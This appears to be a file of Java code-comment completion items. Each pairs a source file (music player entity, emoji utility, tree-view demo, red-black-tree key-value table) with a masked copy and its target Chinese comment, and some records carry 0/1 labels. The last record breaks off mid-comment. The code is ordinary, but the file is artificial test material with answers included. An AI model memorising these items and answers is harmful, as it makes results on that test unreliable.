Calculation.AddNode(R, i, j, Parameter.RegretNode[0].N.get(m).ID); Cost2 = Parameter.Cost(R); NextValue = Cost2 - Cost1; if ((NextValue - BestValue) < RegretValue && (NextValue - BestValue) != 0) { RegretValue = NextValue - BestValue; } Calculation.RemoveNode(R, i, j, Parameter.RegretNode[0].N.get(m).ID); //删除节点 } } Parameter.RegretNode[0].N.get(m).Regret_Cost = RegretValue; Parameter.RegretNode[0].N.get(m).R = RouteIndex; Parameter.RegretNode[0].N.get(m).Position = PositionIndex; //记录相关指标 } //找到当前后悔值最大的节点 int RemoveID = 0; double Delta = Parameter.MIN; for (int i = 0;i < Parameter.RegretNode[0].N.size();i++) { if (Parameter.RegretNode[0].N.get(i).Regret_Cost > Delta) { Delta = Parameter.RegretNode[0].N.get(i).Regret_Cost; RemoveID = i; //记录当前最大后悔值的节点并移除 } } //将找到的当前后悔值最大的节点加入 Calculation.AddNode(R, Parameter.RegretNode[0].N.get(RemoveID).R, Parameter.RegretNode[0].N.get(RemoveID).Position, Parameter.RegretNode[0].N.get(RemoveID).ID); //将移除的节点在RegretNode中移除 Parameter.RegretNode[0].N.remove(RemoveID); Number--; } } }
1
36577_0
package com.example.gui; import com.example.service.SongOperate; import javafx.beans.property.BooleanProperty; import javafx.beans.property.SimpleBooleanProperty; import javafx.scene.control.Alert; /** * @author Tony Yao * 该类是歌曲总表的各项音乐的实体类 * 用于充当音乐总表ViewTable的泛型 * 应当在其中实现各项属性以及方法 * 最好将本地读取的对应信息放入该类的对象,以直接应用到TableView中 */ public class MusicUtils { //以下是将用在显示歌曲总表中每一首音乐的主要属性,待继续完善 private boolean like; private String musicTitle; private String musicSinger; private String albumName; private String musicTimeLength; private String musicSize; private String path; private BooleanProperty likeProperty = new SimpleBooleanProperty(false); private int modcount = 0; public boolean isLike() { return like; } public void setLike(boolean like) { this.like = like; likeProperty.set(like); if(modcount == 0) { likeProperty.addListener((o, ov, nv) ->{ try { SongOperate.setIsLike(path, nv); } catch (Exception e) { Alert _alert = new Alert(Alert.AlertType.INFORMATION); _alert.setTitle("警告"); _alert.setHeaderText("添加喜爱失败啦 w(゚Д゚)w"); _alert.setContentText(e.getMessage()); _alert.show(); } }); } modcount++; } public String getMusicTitle() { return musicTitle; } public void setMusicTitle(String musicTitle) { this.musicTitle = musicTitle; } public String getMusicSinger() { return musicSinger; } public void setMusicSinger(String musicSinger) { this.musicSinger = musicSinger; } public String getAlbumName() { return albumName; } public void setAlbumName(String albumName) { this.albumName = albumName; } public String getMusicTimeLength() { return musicTimeLength; } public void setMusicTimeLength(String musicTimeLength) { this.musicTimeLength = musicTimeLength; } public String getMusicSize() { return musicSize; } public void setMusicSize(String musicSize) { this.musicSize = musicSize; } public String getPath() { return path; } public void setPath(String path) { this.path = path; } public BooleanProperty likeProperty() { return likeProperty; } @Override public boolean equals(Object obj) { MusicUtils other=(MusicUtils)obj; return this.getPath().equals(other.getPath()); } @Override public String toString() { return "MusicUtils [like=" + like + ", musicTitle=" + musicTitle + ", musicSinger=" + musicSinger + ", albumName=" + albumName + ", musicTimeLength=" + musicTimeLength + ", musicSize=" + musicSize + ", path=" + path + "]"; } }
EnTaroAdunZ/MusicPlayer
src/com/example/gui/MusicUtils.java
844
/** * @author Tony Yao * 该类是歌曲总表的各项音乐的实体类 * 用于充当音乐总表ViewTable的泛型 * 应当在其中实现各项属性以及方法 * 最好将本地读取的对应信息放入该类的对象,以直接应用到TableView中 */
block_comment
zh-cn
package com.example.gui; import com.example.service.SongOperate; import javafx.beans.property.BooleanProperty; import javafx.beans.property.SimpleBooleanProperty; import javafx.scene.control.Alert; /** * @au <SUF>*/ public class MusicUtils { //以下是将用在显示歌曲总表中每一首音乐的主要属性,待继续完善 private boolean like; private String musicTitle; private String musicSinger; private String albumName; private String musicTimeLength; private String musicSize; private String path; private BooleanProperty likeProperty = new SimpleBooleanProperty(false); private int modcount = 0; public boolean isLike() { return like; } public void setLike(boolean like) { this.like = like; likeProperty.set(like); if(modcount == 0) { likeProperty.addListener((o, ov, nv) ->{ try { SongOperate.setIsLike(path, nv); } catch (Exception e) { Alert _alert = new Alert(Alert.AlertType.INFORMATION); _alert.setTitle("警告"); _alert.setHeaderText("添加喜爱失败啦 w(゚Д゚)w"); _alert.setContentText(e.getMessage()); _alert.show(); } }); } modcount++; } public String getMusicTitle() { return musicTitle; } public void setMusicTitle(String musicTitle) { this.musicTitle = musicTitle; } public String getMusicSinger() { return musicSinger; } public void setMusicSinger(String musicSinger) { this.musicSinger = musicSinger; } public String getAlbumName() { return albumName; } public void setAlbumName(String albumName) { this.albumName = albumName; } public String getMusicTimeLength() { return musicTimeLength; } public void setMusicTimeLength(String musicTimeLength) { this.musicTimeLength = musicTimeLength; } public String getMusicSize() { return musicSize; } public void setMusicSize(String musicSize) { this.musicSize = musicSize; } public String getPath() { return path; } public void setPath(String path) { this.path = path; } public BooleanProperty likeProperty() { return likeProperty; } @Override public boolean equals(Object obj) { MusicUtils other=(MusicUtils)obj; return this.getPath().equals(other.getPath()); } @Override public String toString() { return "MusicUtils [like=" + like + ", musicTitle=" + musicTitle + ", musicSinger=" + musicSinger + ", albumName=" + albumName + ", musicTimeLength=" + musicTimeLength + ", musicSize=" + musicSize + ", path=" + path + "]"; } }
1
18426_17
package com.ezreal.emojilibrary; import android.content.Context; import android.content.res.Resources; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.text.Spannable; import android.text.SpannableString; import android.text.style.ImageSpan; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * 表情包管理工具类 * Created by wudeng on 2017/11/2. */ public class EmojiUtils { private static final int[] EMOJI_INDEX = { R.drawable.d_hehe, // 呵呵 R.drawable.d_keai, // 可爱 R.drawable.d_taikaixin, // 太开心 R.drawable.d_guzhang, // 鼓掌 R.drawable.d_xixi, // 嘻嘻 R.drawable.d_haha, // 哈哈 R.drawable.d_xiaoku, // 笑哭 R.drawable.d_tiaopi, // 调皮 R.drawable.d_chanzui,// 馋嘴 R.drawable.d_heixian, // 黑线 R.drawable.d_han, // 汗 R.drawable.d_wabishi, // 挖鼻屎 R.drawable.d_heng, // 哼 R.drawable.d_nu, // 怒 R.drawable.d_kelian, // 可怜 R.drawable.d_liulei, // 流泪 R.drawable.d_daku, // 大哭 R.drawable.d_haixiu,// 害羞 R.drawable.d_aini, // 爱你 R.drawable.d_qinqin,// 亲亲 R.drawable.face_delete,// 删除键 R.drawable.d_doge, // doge R.drawable.d_miao, // miao R.drawable.d_yinxian, //阴险 R.drawable.d_touxiao,// 偷笑 R.drawable.d_ku, // 酷 R.drawable.d_sikao, // 思考 R.drawable.d_baibai, // 拜拜 R.drawable.d_bishi, // 鄙视 R.drawable.d_bizui, // 闭嘴 R.drawable.d_chijing, // 吃惊 R.drawable.d_dahaqi, // 打哈欠 R.drawable.d_dalian, // 打脸 R.drawable.d_ganmao, // 感冒 R.drawable.d_kun, // 困 R.drawable.d_zhouma, // 咒骂 R.drawable.d_shengbing,// 生病 R.drawable.d_shiwang, // 失望 R.drawable.d_shuai, // 衰 R.drawable.d_shuijiao, // 睡觉 R.drawable.d_tu, // 吐 R.drawable.face_delete,// 删除 R.drawable.d_weiqu, // 委屈 R.drawable.d_xu, // 嘘 R.drawable.d_yiwen, // 疑问 R.drawable.d_yun, // 晕 R.drawable.d_zuohengheng, // 左哼哼 R.drawable.d_youhengheng, // 右哼哼 R.drawable.d_zhuakuang,// 抓狂 R.drawable.d_zhutou, // 猪头 R.drawable.xinsui, // 心碎 R.drawable.l_xin, // 心 R.drawable.h_xihuanni, // 喜欢你 R.drawable.h_buyao, // 不要 R.drawable.h_bang, // 棒 R.drawable.h_lai, // 来 R.drawable.h_ok, // OK R.drawable.h_quantou, // 拳头 R.drawable.h_ruo, // 弱 R.drawable.h_woshou, // 握手 R.drawable.h_shengli, //胜利 R.drawable.h_zan, // 赞 R.drawable.face_delete,// 删除 R.drawable.o_lazhu, // 蜡烛 R.drawable.o_liwu, // 礼物 R.drawable.o_dangao, // 蛋糕 R.drawable.o_feiji, // 飞机 R.drawable.o_ganbei, // 干杯 R.drawable.o_weiguan, // 围观 R.drawable.w_fuyun, // 云 R.drawable.w_taiyang, // 太阳 R.drawable.w_weifeng, // 微风 R.drawable.w_xiayu, // 下雨 R.drawable.w_yueliang, // 月亮 R.drawable.face_delete // 删除 }; private static final String[] EMOJI_NAME = { "[呵呵]", "[可爱]", "[太开心]", "[鼓掌]", "[嘻嘻]", "[哈哈]", "[笑哭]", "[调皮]", "[馋嘴]", "[黑线]", "[汗]", "[挖鼻屎]", "[哼]", "[怒]", "[可怜]", "[流泪]", "[大哭]", "[害羞]", "[爱你]", "[亲亲]", "[删除]", "[doge]", "[miao]", "[阴险]", "[偷笑]", "[酷]", "[思考]", "[拜拜]", "[鄙视]", "[闭嘴]", "[吃惊]", "[打哈欠]", "[打脸]", "[感冒]", "[困]", "[咒骂]", "[生病]", "[失望]", "[衰]", "[睡觉]", "[吐]", "[删除]", "[委屈]", "[嘘]", "[疑问]", "[晕]", "[左哼哼]", "[右哼哼]", "[抓狂]", "[猪头]", "[心碎]", "[心]", "[喜欢你]", "[不要]", "[棒]", "[来]", "[OK]", "[拳头]", "[弱]", "[握手]", "[胜利]", "[赞]", "[删除]", "[蜡烛]", "[礼物]", "[蛋糕]", "[飞机]", "[干杯]", "[围观]", "[云]", "[太阳]", "[微风]", "[下雨]", "[月亮]", "[删除]", }; private static List<EmojiBean> sEmojiBeans; private static Map<String,Integer> sEmojiMap; static { createEmojiList(); } static List<EmojiBean> getEmojiBeans(){ if (sEmojiBeans == null){ createEmojiList(); } return sEmojiBeans; } private static void createEmojiList(){ sEmojiBeans = new ArrayList<>(); sEmojiMap = new HashMap<>(); EmojiBean emojiBean; for (int i = 0;i<EMOJI_INDEX.length;i++){ emojiBean = new EmojiBean(); emojiBean.setResIndex(EMOJI_INDEX[i]); emojiBean.setEmojiName(EMOJI_NAME[i]); sEmojiBeans.add(emojiBean); sEmojiMap.put(EMOJI_NAME[i],EMOJI_INDEX[i]); } } /** * 从 Resource 中读取 Emoji 表情 * @param res Resource * @param resId Emoji'id in Resource * @param reqWidth ImageView Width * @param reqHeight ImageView Height * @return Emoji with Bitmap */ static Bitmap decodeBitmapFromRes(Resources res, int resId, int reqWidth, int reqHeight) { final BitmapFactory.Options options = new BitmapFactory.Options(); options.inJustDecodeBounds = true; BitmapFactory.decodeResource(res, resId, options); options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight); options.inJustDecodeBounds = false; return BitmapFactory.decodeResource(res, resId, options); } /** * 计算图片压缩比例 * @param options Bitmap Decode Option * @param reqWidth ImageView Width * @param reqHeight ImageView Height * @return inSample Size value */ private static int calculateInSampleSize(BitmapFactory.Options options, int reqWidth, int reqHeight) { final int height = options.outHeight; final int width = options.outWidth; int inSampleSize = 1; if (height > reqHeight || width > reqWidth) { final int heightRatio = Math.round((float) height / (float) reqHeight); final int widthRatio = Math.round((float) width / (float) reqWidth); // 一定都会大于等于目标的宽和高。 inSampleSize = heightRatio < widthRatio ? heightRatio : widthRatio; } return inSampleSize; } // 单位转化 static int dip2px(Context context, float dipValue) { final float scale = context.getResources().getDisplayMetrics().density; return (int) (dipValue * scale + 0.5f); } public static SpannableString text2Emoji(Context context,final String source,final float textSize) { SpannableString spannableString = new SpannableString(source); Resources res = context.getResources(); String regexEmotion = "\\[([\u4e00-\u9fa5\\w])+\\]"; Pattern patternEmotion = Pattern.compile(regexEmotion); Matcher matcherEmotion = patternEmotion.matcher(spannableString); while (matcherEmotion.find()) { // 获取匹配到的具体字符 String key = matcherEmotion.group(); // 匹配字符串的开始位置 int start = matcherEmotion.start(); // 利用表情名字获取到对应的图片 Integer imgRes = getImgByName(key); if (imgRes != 0) { // 压缩表情图片 int size = (int) (textSize * 13.0f / 10.0f); Bitmap bitmap = BitmapFactory.decodeResource(res, imgRes); Bitmap scaleBitmap = Bitmap.createScaledBitmap(bitmap, size, size, true); ImageSpan span = new ImageSpan(context, scaleBitmap); spannableString.setSpan(span, start, start + key.length(), Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); } } return spannableString; } public static Integer getImgByName(String name){ return sEmojiMap.get(name); } }
Enjoylone1y/EzChat
emojilibrary/src/main/java/com/ezreal/emojilibrary/EmojiUtils.java
2,676
// 压缩表情图片
line_comment
zh-cn
package com.ezreal.emojilibrary; import android.content.Context; import android.content.res.Resources; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.text.Spannable; import android.text.SpannableString; import android.text.style.ImageSpan; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * 表情包管理工具类 * Created by wudeng on 2017/11/2. */ public class EmojiUtils { private static final int[] EMOJI_INDEX = { R.drawable.d_hehe, // 呵呵 R.drawable.d_keai, // 可爱 R.drawable.d_taikaixin, // 太开心 R.drawable.d_guzhang, // 鼓掌 R.drawable.d_xixi, // 嘻嘻 R.drawable.d_haha, // 哈哈 R.drawable.d_xiaoku, // 笑哭 R.drawable.d_tiaopi, // 调皮 R.drawable.d_chanzui,// 馋嘴 R.drawable.d_heixian, // 黑线 R.drawable.d_han, // 汗 R.drawable.d_wabishi, // 挖鼻屎 R.drawable.d_heng, // 哼 R.drawable.d_nu, // 怒 R.drawable.d_kelian, // 可怜 R.drawable.d_liulei, // 流泪 R.drawable.d_daku, // 大哭 R.drawable.d_haixiu,// 害羞 R.drawable.d_aini, // 爱你 R.drawable.d_qinqin,// 亲亲 R.drawable.face_delete,// 删除键 R.drawable.d_doge, // doge R.drawable.d_miao, // miao R.drawable.d_yinxian, //阴险 R.drawable.d_touxiao,// 偷笑 R.drawable.d_ku, // 酷 R.drawable.d_sikao, // 思考 R.drawable.d_baibai, // 拜拜 R.drawable.d_bishi, // 鄙视 R.drawable.d_bizui, // 闭嘴 R.drawable.d_chijing, // 吃惊 R.drawable.d_dahaqi, // 打哈欠 R.drawable.d_dalian, // 打脸 R.drawable.d_ganmao, // 感冒 R.drawable.d_kun, // 困 R.drawable.d_zhouma, // 咒骂 R.drawable.d_shengbing,// 生病 R.drawable.d_shiwang, // 失望 R.drawable.d_shuai, // 衰 R.drawable.d_shuijiao, // 睡觉 R.drawable.d_tu, // 吐 R.drawable.face_delete,// 删除 R.drawable.d_weiqu, // 委屈 R.drawable.d_xu, // 嘘 R.drawable.d_yiwen, // 疑问 R.drawable.d_yun, // 晕 R.drawable.d_zuohengheng, // 左哼哼 R.drawable.d_youhengheng, // 右哼哼 R.drawable.d_zhuakuang,// 抓狂 R.drawable.d_zhutou, // 猪头 R.drawable.xinsui, // 心碎 R.drawable.l_xin, // 心 R.drawable.h_xihuanni, // 喜欢你 R.drawable.h_buyao, // 不要 R.drawable.h_bang, // 棒 R.drawable.h_lai, // 来 R.drawable.h_ok, // OK R.drawable.h_quantou, // 拳头 R.drawable.h_ruo, // 弱 R.drawable.h_woshou, // 握手 R.drawable.h_shengli, //胜利 R.drawable.h_zan, // 赞 R.drawable.face_delete,// 删除 R.drawable.o_lazhu, // 蜡烛 R.drawable.o_liwu, // 礼物 R.drawable.o_dangao, // 蛋糕 R.drawable.o_feiji, // 飞机 R.drawable.o_ganbei, // 干杯 R.drawable.o_weiguan, // 围观 R.drawable.w_fuyun, // 云 R.drawable.w_taiyang, // 太阳 R.drawable.w_weifeng, // 微风 R.drawable.w_xiayu, // 下雨 R.drawable.w_yueliang, // 月亮 R.drawable.face_delete // 删除 }; private static final String[] EMOJI_NAME = { "[呵呵]", "[可爱]", "[太开心]", "[鼓掌]", "[嘻嘻]", "[哈哈]", "[笑哭]", "[调皮]", "[馋嘴]", "[黑线]", "[汗]", "[挖鼻屎]", "[哼]", "[怒]", "[可怜]", "[流泪]", "[大哭]", "[害羞]", "[爱你]", "[亲亲]", "[删除]", "[doge]", "[miao]", "[阴险]", "[偷笑]", "[酷]", "[思考]", "[拜拜]", "[鄙视]", "[闭嘴]", "[吃惊]", "[打哈欠]", "[打脸]", "[感冒]", "[困]", "[咒骂]", "[生病]", "[失望]", "[衰]", "[睡觉]", "[吐]", "[删除]", "[委屈]", "[嘘]", "[疑问]", "[晕]", "[左哼哼]", "[右哼哼]", "[抓狂]", "[猪头]", "[心碎]", "[心]", "[喜欢你]", "[不要]", "[棒]", "[来]", "[OK]", "[拳头]", "[弱]", "[握手]", "[胜利]", "[赞]", "[删除]", "[蜡烛]", "[礼物]", "[蛋糕]", "[飞机]", "[干杯]", "[围观]", "[云]", "[太阳]", "[微风]", "[下雨]", "[月亮]", "[删除]", }; private static List<EmojiBean> sEmojiBeans; private static Map<String,Integer> sEmojiMap; static { createEmojiList(); } static List<EmojiBean> getEmojiBeans(){ if (sEmojiBeans == null){ createEmojiList(); } return sEmojiBeans; } private static void createEmojiList(){ sEmojiBeans = new ArrayList<>(); sEmojiMap = new HashMap<>(); EmojiBean emojiBean; for (int i = 0;i<EMOJI_INDEX.length;i++){ emojiBean = new EmojiBean(); emojiBean.setResIndex(EMOJI_INDEX[i]); emojiBean.setEmojiName(EMOJI_NAME[i]); sEmojiBeans.add(emojiBean); sEmojiMap.put(EMOJI_NAME[i],EMOJI_INDEX[i]); } } /** * 从 Resource 中读取 Emoji 表情 * @param res Resource * @param resId Emoji'id in Resource * @param reqWidth ImageView Width * @param reqHeight ImageView Height * @return Emoji with Bitmap */ static Bitmap decodeBitmapFromRes(Resources res, int resId, int reqWidth, int reqHeight) { final BitmapFactory.Options options = new BitmapFactory.Options(); options.inJustDecodeBounds = true; BitmapFactory.decodeResource(res, resId, options); options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight); options.inJustDecodeBounds = false; return BitmapFactory.decodeResource(res, resId, options); } /** * 计算图片压缩比例 * @param options Bitmap Decode Option * @param reqWidth ImageView Width * @param reqHeight ImageView Height * @return inSample Size value */ private static int calculateInSampleSize(BitmapFactory.Options options, int reqWidth, int reqHeight) { final int height = options.outHeight; final int width = options.outWidth; int inSampleSize = 1; if (height > reqHeight || width > reqWidth) { final int heightRatio = Math.round((float) height / (float) reqHeight); final int widthRatio = Math.round((float) width / (float) reqWidth); // 一定都会大于等于目标的宽和高。 inSampleSize = heightRatio < widthRatio ? heightRatio : widthRatio; } return inSampleSize; } // 单位转化 static int dip2px(Context context, float dipValue) { final float scale = context.getResources().getDisplayMetrics().density; return (int) (dipValue * scale + 0.5f); } public static SpannableString text2Emoji(Context context,final String source,final float textSize) { SpannableString spannableString = new SpannableString(source); Resources res = context.getResources(); String regexEmotion = "\\[([\u4e00-\u9fa5\\w])+\\]"; Pattern patternEmotion = Pattern.compile(regexEmotion); Matcher matcherEmotion = patternEmotion.matcher(spannableString); while (matcherEmotion.find()) { // 获取匹配到的具体字符 String key = matcherEmotion.group(); // 匹配字符串的开始位置 int start = matcherEmotion.start(); // 利用表情名字获取到对应的图片 Integer imgRes = getImgByName(key); if (imgRes != 0) { // 压缩 <SUF> int size = (int) (textSize * 13.0f / 10.0f); Bitmap bitmap = BitmapFactory.decodeResource(res, imgRes); Bitmap scaleBitmap = Bitmap.createScaledBitmap(bitmap, size, size, true); ImageSpan span = new ImageSpan(context, scaleBitmap); spannableString.setSpan(span, start, start + key.length(), Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); } } return spannableString; } public static Integer getImgByName(String name){ return sEmojiMap.get(name); } }
1
53794_6
package com.ezreal.multiselecttreeview; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.widget.TextView; import com.ezreal.treevieewlib.AndroidTreeView; import com.ezreal.treevieewlib.NodeIDFormat; import com.ezreal.treevieewlib.OnTreeNodeClickListener; import com.ezreal.treevieewlib.TreeNode; import java.util.ArrayList; import java.util.List; public class SingleSelectActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_single_sel); final TextView result = findViewById(R.id.tv_result); // 通过 findViewById获得控件实例 AndroidTreeView treeView = findViewById(R.id.tree_view); treeView.setNodeIdFormat(NodeIDFormat.LONG); // 声明 bean 中id pid 字段类型,必选 treeView.setMultiSelEnable(false); // 设置关闭多选,默认关闭,可选 // 在单选状态下,通过监听叶子节点单击事件,得到选中的节点 treeView.setTreeNodeClickListener(new OnTreeNodeClickListener() { @Override public void OnLeafNodeClick(TreeNode node, int position) { result.setText(node.getTitle()); } }); // 绑定数据,注意:本行需要写在为 treeView 设置属性之后 // 在本行之后任何 setXXX 都不起作用 treeView.bindData(testData()); } private List<TypeBeanLong> testData(){ // 根据 层级关系,设置好 PID ID 构造测试数据 // 在工作项目中,一般会通过解析 json/xml 来得到个节点数据以及节点间关系 List<TypeBeanLong> list = new ArrayList<>(); list.add(new TypeBeanLong(1,0,"图书")); list.add(new TypeBeanLong(2,0,"服装")); list.add(new TypeBeanLong(11,1,"小说")); list.add(new TypeBeanLong(12,1,"杂志")); list.add(new TypeBeanLong(21,2,"衣服")); list.add(new TypeBeanLong(22,2,"裤子")); list.add(new TypeBeanLong(111,11,"言情小说")); list.add(new TypeBeanLong(112,11,"科幻小说")); list.add(new TypeBeanLong(121,12,"军事杂志")); list.add(new TypeBeanLong(122,12,"娱乐杂志")); list.add(new TypeBeanLong(211,21,"阿迪")); list.add(new TypeBeanLong(212,21,"耐克")); list.add(new TypeBeanLong(221,22,"百斯盾")); list.add(new TypeBeanLong(222,22,"海澜之家")); return list; } }
Enjoylone1y/MutiSelectTreeView
app/src/main/java/com/ezreal/multiselecttreeview/SingleSelectActivity.java
719
// 根据 层级关系,设置好 PID ID 构造测试数据
line_comment
zh-cn
package com.ezreal.multiselecttreeview; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.widget.TextView; import com.ezreal.treevieewlib.AndroidTreeView; import com.ezreal.treevieewlib.NodeIDFormat; import com.ezreal.treevieewlib.OnTreeNodeClickListener; import com.ezreal.treevieewlib.TreeNode; import java.util.ArrayList; import java.util.List; public class SingleSelectActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_single_sel); final TextView result = findViewById(R.id.tv_result); // 通过 findViewById获得控件实例 AndroidTreeView treeView = findViewById(R.id.tree_view); treeView.setNodeIdFormat(NodeIDFormat.LONG); // 声明 bean 中id pid 字段类型,必选 treeView.setMultiSelEnable(false); // 设置关闭多选,默认关闭,可选 // 在单选状态下,通过监听叶子节点单击事件,得到选中的节点 treeView.setTreeNodeClickListener(new OnTreeNodeClickListener() { @Override public void OnLeafNodeClick(TreeNode node, int position) { result.setText(node.getTitle()); } }); // 绑定数据,注意:本行需要写在为 treeView 设置属性之后 // 在本行之后任何 setXXX 都不起作用 treeView.bindData(testData()); } private List<TypeBeanLong> testData(){ // 根据 <SUF> // 在工作项目中,一般会通过解析 json/xml 来得到个节点数据以及节点间关系 List<TypeBeanLong> list = new ArrayList<>(); list.add(new TypeBeanLong(1,0,"图书")); list.add(new TypeBeanLong(2,0,"服装")); list.add(new TypeBeanLong(11,1,"小说")); list.add(new TypeBeanLong(12,1,"杂志")); list.add(new TypeBeanLong(21,2,"衣服")); list.add(new TypeBeanLong(22,2,"裤子")); list.add(new TypeBeanLong(111,11,"言情小说")); list.add(new TypeBeanLong(112,11,"科幻小说")); list.add(new TypeBeanLong(121,12,"军事杂志")); list.add(new TypeBeanLong(122,12,"娱乐杂志")); list.add(new TypeBeanLong(211,21,"阿迪")); list.add(new TypeBeanLong(212,21,"耐克")); list.add(new TypeBeanLong(221,22,"百斯盾")); list.add(new TypeBeanLong(222,22,"海澜之家")); return list; } }
0
55505_33
package KVTable; import static View.TableView.viewInString; import static Utils.Utils.*; import java.util.LinkedList; import java.util.Objects; import java.util.function.Function; import java.io.*; /** * 继承了红黑树K-V表,并且缓存了最大/最小键,支持在原有红黑树基础上对分重构的K-V表. * 1.1在原版的基础上其父类RBT支持了序列化与反序列化存储 * <p> * 用于适配类 {@link Index.Page} 中存储的K-V表的要求. * @param <K> K-V表中键的类型. * @param <V> K-V表中值的类型. * @author Episode-Zhang * @version 1.1 */ public class Table<K, V> extends RBT<K, V> { /** 存放当前表中最小的key. */ private K _minKey; /** 存放当前表中最大的key. */ private K _maxKey; /** 存放当前表对应的文件名,规则:文件名 = this.hashCode().table */ private final String _filename; /** 默认构造函数. */ public Table() { super(); _filename = String.format("%s.table", this.hashCode()); } /** 用一棵已知的结点表示的红黑树来初始化一张表. */ private Table(RBTNode<K, V> root, RBTNode<K, V> NIL, int rootSize) { super(root, NIL, rootSize); _filename = String.format("%s.table", this.hashCode()); } /** 获取当前表中键的最小值. */ public K minKey() { return _minKey; } /** 获取当前表中键的最大值. */ public K maxKey() { return _maxKey; } public String name() { return _filename; } @Override public void put(K key, V value) { // 检查新插入的key if (_minKey == null || lessThan(key, _minKey)) { _minKey = key; } if (_maxKey == null || greaterThan(key, _maxKey)) { _maxKey = key; } // 其它情况和普通红黑树插入无异 super.put(key, value); } @Override public V delete(K key) { RBTNode<K, V> target = find(_root, key); if (target == null) { return null; } super.removeNode(target); // 查看被删除键是否为最大/最小键,是则更新 if (key.equals(_minKey)) { _minKey = min(_root); } if (key.equals(_maxKey)) { _maxKey = max(_root); } return target._value; } /** 获取表中前n个键. */ public K[] keys(int n) { KeySet<K> keys = new KeySet<K>(_root, n, (key) -> (key)); return (K[]) keys.get().toArray(); } /** 获取表中前n个值. */ public V[] values(int n) { ValueSet<V> values = new ValueSet<V>(_root, n, (value) -> (value)); return (V[]) values.get().toArray(); } /** * 将当前的红黑树按*根结点*的键划分成左右两棵子树,保证左子树中所有的键小于等于根节点, * 右子树中所有的键大于根节点,令当前红黑树为划分出的左子树,然后返回右子树. * @return 划分后的右半边的红黑树. * @throws RuntimeException 当前红黑树不足以支持划分时. */ public Table<K, V> split() { if (_size < 3) { String errorMsg = String.format(""" As for split, the size of table is supposed to be at least 3. now is size: %d Thus, table cannot be split.""", _size); throw new RuntimeException(errorMsg); } // 因为左右子树黑高相等,所以划分后无需再平衡. // 记录信息 int rightTreeSize = new KeySet<K>(_root._right, _size, (key) -> (key)).keys.size(); K rootKey = _root._key; V rootValue = _root._value; // 划分右子树 Table<K, V> rightTree = new Table<K, V>(_root._right, this.NIL, rightTreeSize); this._root._right = this.NIL; // 令当前红黑树为左子树 this._root = _root._left; this._root._isRed = false; this._root._parent = this.NIL; // 解耦后,根节点加入右子树 rightTree.put(rootKey, rootValue); // 更新信息 rightTree._minKey = rootKey; rightTree._maxKey = _maxKey; this._maxKey = max(_root); this._size -= rightTree.size(); return rightTree; } /** 返回一张表格的视图,通过打印表格中的前10项记录条数. */ @Override public String toString() { // 取前10项键和值 final int topN = 10; KeySet<String> topNKeys = new KeySet<String>(_root, topN, Objects::toString); ValueSet<String> topNValues = new ValueSet<String>(_root, topN, Object::toString); LinkedList<String> keys = topNKeys.get(); LinkedList<String> values = topNValues.get(); // 返回文字视图 StringBuilder view = new StringBuilder(viewInString(keys, values)); if (_size > 10) { view.append("...(Rest of the records are hidden)\n"); } return view.toString(); } /** * 关闭当前Table,将Table中所有的K-V对写入项目根路径下的data目录,随后将root置空. * @throws IOException 发生IO异常时抛出. */ public void close () throws IOException { // 写入磁盘 String path = String.format("./data/%s", _filename); try(FileOutputStream fos = new FileOutputStream(path); ObjectOutputStream oos = new ObjectOutputStream(fos)) { oos.writeObject(this); oos.flush(); } // 置空root this._root = null; } /** * 打开当前的Table,将Table中所有的K-V对从根路径的data目录中对应的文件加载回内存里. * @throws IOException 发生IO异常时抛出. * @throws ClassNotFoundException 发生类加载异常时抛出. */ public void open() throws IOException, ClassNotFoundException { Table<K, V> inDiskTable; String path = String.format("./data/%s", _filename); try (FileInputStream fis = new FileInputStream(path); ObjectInputStream ois = new ObjectInputStream(fis)) { inDiskTable = (Table<K, V>) ois.readObject(); } _root = inDiskTable._root; NIL = inDiskTable.NIL; } /** 判断根节点是否为空 */ public boolean nullRoot() { return _root == null; } /** 获取以{@code start} 为根节点的树中的最小键. */ private K min(final RBTNode<K, V> start) { if (start == this.NIL) { return null; } RBTNode<K, V> node = start; while (node._left != this.NIL) { node = node._left; } return node._key; } /** 获取以{@code start} 为根节点的树中的最大键. */ private K max(final RBTNode<K, V> start) { if (start == this.NIL) { return null; } RBTNode<K, V> node = start; while (node._right != this.NIL) { node = node._right; } return node._key; } /** * 用于遍历当前表的键的集合,并且返回按*给定规则*处理后的前n项. * @param <R> 返回的集合中的元素的类型,若元素为键本身则为{@code <K>}, 否则需指明类型. */ private class KeySet<R> { /** 存放指定前n个键按制定规则处理后得到的结果的容器. */ private final LinkedList<R> keys = new LinkedList<>(); /** 用于辅助循环遍历. */ private LinkedList<RBTNode<K, V>> stack = new LinkedList<>(); /** * 默认构造函数. 在初始化的时候即使用给定规则完成指定键的遍历. * @param root 待遍历的子树的入口处. * @param n 待获取的前n个键. * @param operator 用于处理每个键的规则, 是一个 K -> R 的一元运算. */ public KeySet(RBTNode<K, V> root, int n, Function<K, R> operator) { if (operator == null) { throw new IllegalArgumentException("请指定处理键的对应法则."); } traverseInorder(root, n, operator); } /** 返回表中前n个键的集合. */ public LinkedList<R> get() { return keys; } /** * 用于遍历获得前n个键并根据指定规则对其进行处理. * @param node 遍历入口结点. * @param n 待获取的前n个键. * @param operator 用于处理每个键的规则, 是一个 K -> R 的一元运算. */ private void traverseInorder(RBTNode<K, V>node, int n, Function<K, R> operator) { while (node != NIL || stack.size() > 0) { // 向左试探 while (node != NIL) { stack.push(node); node = node._left; } // 回溯,将键加入链表 node = stack.pop(); keys.add(operator.apply(node._key)); // 检查项数 if (keys.size() == n) { stack = null; return; } // 转向右侧 node = node._right; } } } /** * 